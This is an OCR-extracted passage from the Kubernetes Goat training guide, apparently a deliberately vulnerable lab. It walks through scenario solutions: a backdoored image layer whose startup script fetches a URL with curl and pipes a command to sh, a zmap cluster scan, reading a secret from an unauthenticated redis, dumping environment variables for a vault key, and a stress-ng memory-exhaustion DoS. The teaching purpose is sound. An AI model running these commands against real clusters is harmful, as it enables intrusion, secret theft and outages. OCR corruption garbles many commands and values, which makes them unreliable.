sha256:ab78a5a3d01cce9a45e153589776015ddb5chad188b96f759fbb2ba0®e9986f00 38 hours ago /bin/sh -c #(nop) LABEL MAINTAINER=Madhu A
kula INFO=Kubernetes Goat

[0]:]
sha256:a24bb4013296f61e89ba57005a7b3e52274d8edd3ae2077d04395f806b63d83e 2 weeks ago /bin/sh -c #(nop) CMD ["/bin/sh"]

0B

<missing> 2 weeks ago /bin/sh -c #(nop) ADD file:c92c248239f8c7b9
b3c067650954815f391b7bch09023f984972c082ace2a8dd in /

echo "curl -sSL https://madhuakula.com/kubernetes-goat/k8s-goat-
a5e0a28fa75bf429123943abedb065d1 && echo 'id' | sh " > /usr/bin/system-startup
&& chmod +x /usr/bin/system-startup

Miscellaneous

TBD

Kubernetes Namespaces bypass

Scenario Information

By default, Kubernetes uses a flat networking schema, which means any pod/service within the
cluster can talk to other. The namespaces within the cluster don't have any network security
restrictions by default. Anyone in the namespace can talk to other namespaces. We heard that
Kubernetes-Goat loves cache. Let's see if we gain access to other namespaces

e To get started with the scenario, let's run our awesome hacker-container in the default
namespace

kubectl run -it hacker-container --image=madhuakula/hacker-container -- sh

> kubectl run -it hacker-container --image=madhuakula/hacker-container -- sh
If you don't see a command prompt, try pressing enter.

N#l

Scenario Solution



o Get the cluster IP range information

ip route
ifconfig
printenv

~ # 1ip route

default via 10.12.1.1 dev eth@

10.12.1.0/24 dev eth® scope link src 10.12.1.13

~ # ifconfig

ethoO Link encap:Ethernet HWwaddr 42:05:79:01:AE:9B
inet addr:10.12.1.13 Bcast:10.12.1.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1460 Metric:1
RX packets:11 errors:0 dropped:0 overruns:0 frame:0
TX packets:1 errors:0 dropped:0 overruns:0 carrier:0
collisions:® txqueuelen:0
RX bytes:866 (866.0 B) TX bytes:42 (42.0 B)

Link encap:Local Loopback

inet addr:127.0.0.1 Mask:255.0.0.0

UP LOOPBACK RUNNING MTU:65536 Metric:1

RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:® txqueuelen:1000

RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)

e Based on the analysis/understanding about the system. We can run the internal scan for
the entire cluster range using zamp

zmap -p 6379 10.0.0.0/8 -0 results.csv

~ # zmap -p 6379 10.0.0.0/8 -0 results.csv
Jun 15 11:29:22.453 [WARN] blacklist: ZMap is currently using the default blacklist located at /etc/zmap/blacklist.conf. By default, this
blacklist excludes locally scoped networks (e.g. 10.0.0.0/8, 127.0.0.1/8, and 192.168.0.0/16). If you are trying to scan local networks,

you can change the default blacklist by editing the default ZMap configuration at /etc/zmap/zmap.conf.
Jun 15 11:29:22.461 [INFO] zmap: output module: csv




%; send: @ 0 p/s (0 p/s avg); recv: 0 0 p/s (0 p/s avg); drops: @ p/s (0@ p/s avg); hitrate: 0.00%

; send: 103951 104 Kp/s (103 Kp/s avg); recv: 0 @ p/s (0 p/s avg); drops: 0 p/s (0 p/s avg); hitrate: 0.00%
%; send: 192292 88.2 Kp/s (95.6 Kp/s avg); recv: 0 0 p/s (0 p/s avg); drops: @ p/s (@ p/s avg); hitrate: 0.00%
%; send: 274460 82.1 Kp/s (91.1 Kp/s avg); recv: 0 0 p/s (0 p/s avg); drops: @ p/s (0 p/s avg); hitrate: 0.00%

; send: 362410 87.8 Kp/s (90.3 Kp/s avg); recv: 0 0 p/s (0 p/s avg); drops: @ p/s (@ p/s avg); hitrate: 0.00%

0:
0:
0:
0:
0:
0: (3mlls ; send: 449274 86.8 Kp/s (89.6 Kp/s recv: p/s p/s avg); drops: p/s (0 p/s ; hitrate: 0.00%
0: % (3mlls ; send: 535938 86.5 Kp/s .1 Kp/s ; recv: p/s p/s avg); drops: p/s (0 p/s ; hitrate: 0.00%
0: (3mlls ; send: 620351 84.3 Kp/s .4 Kp/s ; recv: p/s p/s avg); drops: p/s (0 p/s ; hitrate: 0.00%
[0H % (3ml3s ; send: 699682 79.2 Kp/s .2 Kp/s 5 recv: p/s p/s avg); drops: p/s (0 p/s ; hitrate: 0.00%
0: % (3ml3s ; send: 783677 83.8 Kp/s .9 Kp/s 5 recv: p/s p/s avg); drops: p/s (0 p/s ; hitrate: 0.00%
0: % (3mlls ; send: 871770 88.0 Kp/s .0 Kp/s 5 recv: p/s p/s avg); drops: p/s (0 p/s ; hitrate: 0.00%
0: % (3mlls ; send: 955049 83.1 Kp/s .6 Kp/s 5 recv: p/s p/s avg); drops: p/s (0 p/s ; hitrate: 0.00%
0: % (3mlOs ; send: 1042368 87.2 Kp/s (86.7 Kp/s avg); recv: 0 0 p/s (0 p/s avg); drops: 0 p/s (0 p/s avg); hitrate: 0.00%
0: (3m10s left); send: 1124071 81.6 Kp/s (86.3 Kp/s avg); recv: 0 @ p/s (0 p/s avg); 0 p/s (0 p/s avg); hitrate: 0.00%
0: 3mP9s left): send: 1211287 87.1 Kp/s (86.3 Kp/s ava): recv: 0 0 p/s : d H : hitrate: 0.00%

~ ff cat results.csv
10.12.0.2
10.0.11.236

~ l

There is also another way to access the services/pods in the Kubernetes. For example

servicename.namespace

e lLet's accessthe redis using the reds-cli client

redis-cli -h 10.12.0.2
KEYS x
GET SECRETSTUFF

~ # redis-cli -h 10.12.0.2
10.12.0.2:6379> KEYS *

1) "SECRETSTUFF"
10.12.0.2:6379> GET SECRETSTUFF

"k8s-goat-aba3e446faafta9d0514b3ff396ab8a40"
10.12.0.2:6379> |}

There are many other services and resources exposed within the cluster like ElasticSearch,
Mongo, etc. So if your recon skill is good then you got a gold mine here.

Miscellaneous
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Gaining environment information

Scenario Information

Each environment in Kubernetes will have a lot of information to share. Some of the key things
include secrets, api keys, configs, services, and a lot more. So let's go ahead and find the vault
key!

e To get started with the scenario, navigate to http://127.0.0.1:1233

< C ©® 127.0.0.1:1233

root@system-monitor—-deployment-746f9d54fc-8x1xw:/# id
uid=0(root) gid=0(root) groups=0(root)
root@system-monitor—-deployment-746f9d54fc—-8x1xw: /#

Scenario Solution
e Go ahead and explore the system as a generic linux system

cat /proc/self/cgroup
cat /etc/hosts

mount

1s -la /home/

11:pids:/kubepods/pod64038cec—4832-46c6-9063-2bd06d715f0c/2b10d1893e045648588dd469e5f2946bb46e@5bd0@dce369cb@753a3e@4adc5ff

10: cpu, cpuacct:/kubepods/pod64038cec-4832-46c6-9063-2bd06d715f0c/2b10d1893e045648588dd469e5f2946bb46e05bd0dce369cb@753a3e04adc5f

9:memory: /kubepods/pod64038cec-4832-46c6-9063-2bd06d715f0c/2b10d1893e045648588dd469e512946bb46e05bd0dce369cb@753a3e04adc5ff
:cpuset:/kubepods/pod64038cec-4832-46c6-9063-2bd06d715f0c/2b10d1893e045648588dd469e5f2946bb46e05bd0dce369cb0753a3e04adc5ff
:blkio:/kubepods/pod64038cec—4832-46c6-9063-2bd06d715f@c/2b10d1893e045648588dd469e512946bb46e@5bd0@dce369chb0@753a3e@4adc5ff
:net_cls,net_prio:/kubepods/pod64038cec-4832-46c6-9063-2bd06d715f0c/2b10d1893e045648588dd469e512946bb46e05bd@dce369ch@753a3e04adc5ff
:devices:/kubepods/pod64038cec-4832-46c6-9063-2bd06d715f0c/2b10d1893e045648588dd469e5f2946bb46e05bd0dce369cb0@753a3e04adc5f T

:freezer:/kubepods/pod64038cec-4832-46c6-9063-2bd06d715f0c/2b10d1893e045648588dd469e5f2946bb46e05bd0dce369cb@753a3e04adc5f
:perf_event:/kubepods/pod64038cec-4832-46c6-9063-2bd06d715f0c/2b10d1893e045648588dd469e52946bb46e@5bd0dce369cb@753a3e04adc5ff
:name=systemd:/kubepods/pod64038cec-4832-46c6-9063-2bd06d715f0c/2b10d1893e045648588dd469e512946bb46e05bd0dce369cb0753a3e04adc5ff

8
7
6
5
4:hugetlb:/kubepods/pod64038cec-4832-46c6-9063-2bd06d715f0c/2b10d1893e045648588dd469e512946bb46e05bd0dce369cb0753a3e04adc5ff
3
2
1
0::/system.slice/containerd.service

e Getting the environment variables, including Kubernetes secrets mounted
K8S_GOAT_VAULT_KEY=k8s-goat-cd2da27224591da2b48ef83826a8a6¢c and service names,


http://127.0.0.1:1233/

ports, etc.

printenv

root@gke-kubernetes—goat—-default-pool-e2db1114-k0fg:/# printenv
LS_COLORS=
BUILD_CODE_SERVICE_PORT_80_TCP=tcp://10.0.5.168:80
POOR_REGISTRY_SERVICE_PORT_5000_TCP_PORT=5000
ETADATA_DB_SERVICE_PORT=80
INTERNAL_PROXY_INFO_APP_SERVICE_PORT_5000_TCP_ADDR=10.0.1.98
SYSTEM_MONITOR_SERVICE_PORT=tcp://10.0.5.198:8080
BUILD_CODE_SERVICE_SERVICE_PORT=80
HEALTH_CHECK_SERVICE_PORT_3000_TCP_ADDR=10.0.5.201
HOSTNAME=gke—-kubernetes—goat-default-pool-e2db1114-k@fg
BUILD_CODE_SERVICE_SERVICE_HO0ST=10.0.5.168
POOR_REGISTRY_SERVICE_PORT_5000_TCP_PROTO=tcp
ETADATA_DB_SERVICE_PORT_HTTP=80
INTERNAL_PROXY_API_SERVICE_PORT_3000_TCP=tcp://10.0.1.42:3000
ETADATA_DB_SERVICE_H0ST=10.0.13.21
KUBERNETES_GOAT_HOME_SERVICE_SERVICE_PORT=80
HUNGER_CHECK_SERVICE_PORT_8080_TCP_ADDR=10.0.10.239
HUNGER_CHECK_SERVICE_PORT_8080_TCP_PORT=8080
INTERNAL_PROXY_INFO_APP_SERVICE_PORT=tcp://10.0.1.98:5000
KUBERNETES_PORT_443_TCP_PROTO=tcp
KUBERNETES_PORT_443_TCP_ADDR=10.0.0.1
BUILD_CODE_SERVICE_PORT_8@_TCP_ADDR=10.0.5.168
INTERNAL_PROXY_INFO_APP_SERVICE_PORT_5000_TCP_PORT=5000
SYSTEM_MONITOR_SERVICE_SERVICE_H0ST=10.0.5.198
POOR_REGISTRY_SERVICE_PORT_5000_TCP_ADDR=10.0.3.5
INTERNAL_PROXY_API_SERVICE_SERVICE_PORT=3000
KUBERNETES_PORT=tcp://10.0.0.1:443
HUNGER_CHECK_SERVICE_PORT_80860_TCP=tcp://10.0.10.239:8080
PWD=/
ETADATA_DB_PORT_8@_TCP_ADDR=10.0.13.21
HOME=/root
SYSTEM_MONITOR_SERVICE_PORT_8080_TCP=tcp://10.0.5.198:8080
K8S_GOAT_VAULT_KEY=k8s-goat-cd2da27224591da2b48ef83826a8a6c¢3
SYSTEM_MONITOR_SERVICE_PORT_8080_TCP_ADDR=10.0.5.198
INTERNAL_PROXY_API_SERVICE_PORT_3000_TCP_PORT=3000
BUILD_CODE_SERVICE_PORT_8@_TCP_PROTO=tcp
INTERNAL_PROXY_API_SERVICE_PORT_3000_TCP_ADDR=10.0.1.42
HEALTH_CHECK_SERVICE_PORT_3000_TCP_PORT=3000
HEALTH_CHECK_SERVICE_SERVICE_HO0ST=10.0.5.201
KUBERNETES_SERVICE_PORT_HTTPS=443
HUNGER_CHECK_SERVICE_PORT=tcp://10.0.10.239:8080
POOR_REGISTRY_SERVICE_SERVICE_PORT=5000
KUBERNETES_GOAT_HOME_SERVICE_SERVICE_H0ST=10.0.1.69
KUBERNETES_PORT_443_TCP_PORT=443
HEALTH_CHECK_SERVICE_SERVICE_PORT=3000
BUILD_CODE_SERVICE_PORT_80_TCP_PORT=80
HEALTH_CHECK_SERVICE_PORT_3000_TCP_PROTO=tcp
KUBERNETES_GOAT_HOME_SERVICE_PORT_80_TCP=tcp://10.0.1.69:80
bOOR . > D -
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DoS the memory/CPU resources

Scenario Information

There is no specification of resources in the Kubernetes manifests and not applied limit ranges
for the containers. As an attacker, we can consume all the resources where the
pod/deployment running and starve other resources and cause a DoS for the environment.

e To get started with the scenario, navigate to http://127.0.0.1:1236

<« C ©® 127.0.0.1:1236
root@hunger—check-deployment-75d54c47f9-wv46d: /#

Scenario Solution

e This deployment pod has not set any resource limits in the Kubernetes manifests. So we
can easily perform the bunch of operations which can consume resources
¢ In this pod we have installed a utility called stress-ng

stress-ng --vm 2 --vm-bytes 2G --timeout 30s

root@hunger—-check-deployment-75d54c47f9-wv46d: /# stress—ng —vm 2 ——vm-bytes 2G ——timeout 30s
stress-ng: info: [115] dispatching hogs: 2 vm

stress-ng: info: [115] successful run completed in 30.06s
root@hunger—-check-deployment-75d54c47f9-wv46d: /#

e You can see the difference between while running stress-ng and after

kubectl top pod hunger-check-deployment—XXXXXXXXXX=XXXXX

>'kQBec£l top-ééd'huﬁger—éﬁéck—deployméﬁt—75d54c47f9—wv46&

NAME CPU(cores) MEMORY(bytes)


http://127.0.0.1:1236/

) kubectl top pod hunger-check-deployment- 75d54c47f9 AYZTe

NAME CPU(cores) MEMORY(bytes)
hunger-check-deployment-75d54c47f9-wv4éd Om 16M1

This attack may not work in some cases like autoscaling, resource restrictions, etc.
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Hacker Container preview

Scenario Information

This scenario is just an exploration of the common security utilities inside the Kubernetes
Cluster environment. | think by this time you might have already used hacker-container
multiple times.

e To get started with this scenario. Run the hacker container using the below command

kubectl run -it hacker-container --image=madhuakula/hacker-container -- sh

> kubectl run -1t hacker-container --image=madhuakula/hacker-container -- sh
If you don't see a command prompt, try pressing enter.

N#l

Scenario Solution
Hacker Container is a utility with the list of useful tools/commands while hacking Kubernetes
Clusters. So there is not limit to your exploration with Kubernetes environments. Here we will

see some of the most useful and powerful utilities

e Container introspection utility to get an overview of the system capabilities, etc.



amicontained

~ # amicontained
Container Runtime: kube
Has Namespaces:
pid: true
user: false
AppArmor Profile: docker-default (enforce)

Capabilities:
BOUNDING -> chown dac_override fowner fsetid kill setgid setuid setpcap net_bind_service net_raw sys_chroot mknod audit_write setfcap
Seccomp: disabled
Blocked Syscalls (21):
MSGRCV SYSLOG SETSID VHANGUP PIVOT_ROOT ACCT SETTIMEOFDAY UMOUNT2 SWAPON SWAPOFF REBOOT SETHOSTNAME SETDOMAINNAME INIT_MODULE DELETE_MODULE LOOKUP_DCOOKIE
KEXEC_LOAD FANOTIFY_INIT OPEN_BY_HANDLE_AT FINIT_MODULE KEXEC_FILE_LOAD
Looking for Docker.sock

e Performing Nikto scan against internal services
nikto.pl -host http://metadata-db

~ # nikto.pl -host http://metadata-db
*xkx*x SSL support not available (see docs for SSL install) ***x*x%
Nikto v2.1.6

Target IP: 10.0.13.21

Target Hostname: metadata-db

Target Port: 80

Start Time: 2020-06-15 12:30:17 (GMTO)

There are many other use cases. To get the maximum out of hacker-container, we can use
with host privileges, volumes, process, etc. Will be updated soon with more details.
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Teardown Kubernetes Goat

e Teardown the entire Kubernetes Goat infrastructure

bash teardown-kubernetes-goat.sh

Note: Ensure clean up what you installed and used, It's better to delete the cluster.

Security Scanning Reports



This section contains, security scanning reports by multiple open source security tools reports
by scanning the Kubernetes Goat infrastructure.

e checkov

checkov report for Kubernetes Goat

To identify all of the 232 kubernetes configuration issues run checkov by Bridgecrew

https://twitter.com/BarakSchoster/status/1273170904894377985

check id
0 CKV_K8S_31
1 CKV_K8S_40
2 CKV_K8S_29
3 CKV_K8S_38
4 CKV_K8S_23
5 CKV_K8S_37
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First of all, thank you so much for showing interest in Kubernetes Goat, we really appreciate it.

Here are some of the ways you can contribute to the Kubernetes-Goat

e By providing your valuable feedback. Your honest feedback is always appreciated, no

matter if it is positive or negative :)

e By contributing to the development of platform and scenarios

e Improving the documentation/notes

e By spreading the word and sharing with community, friends, and colleagues

Follow in Social Media

e Github

e Twitter


https://github.com/madhuakula/kubernetes-goat
https://github.com/madhuakula/kubernetes-goat
https://twitter.com/madhuakula




